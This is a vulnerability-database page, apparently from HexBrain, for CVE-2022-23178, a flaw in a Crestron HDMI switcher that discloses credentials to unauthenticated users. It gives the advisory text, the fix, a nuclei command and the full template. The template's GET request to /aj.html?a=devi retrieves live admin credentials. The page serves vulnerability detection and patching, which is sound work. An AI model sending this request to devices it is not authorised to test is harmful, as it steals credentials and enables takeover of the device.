HexBrain

Browse / CVEs / CVE-2022-23178

CVE-2022-23178· crestron / hd-md4x2-4k-e firmware· CWE-287

Crestron Device - Credentials Disclosure

criticalseverity
9.8CVSS score
75.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.

Impact

An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.

Fix

Update the Crestron Device firmware to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/aj.html?a=devi
Positive when: contains "\"uname\":" and "\"upassword\":" AND status 200

Run it with nuclei: nuclei -id CVE-2022-23178 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-23178

info:
  name: Crestron Device - Credentials Disclosure
  author: gy741
  severity: critical
  description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.
  remediation: |
    Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23178
    - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23178
    cwe-id: CWE-287
    epss-score: 0.75159
    epss-percentile: 0.99514
    cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: crestron
    product: hd-md4x2-4k-e_firmware
  tags: cve,cve2022,crestron,disclosure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/aj.html?a=devi"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"uname":'
          - '"upassword":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from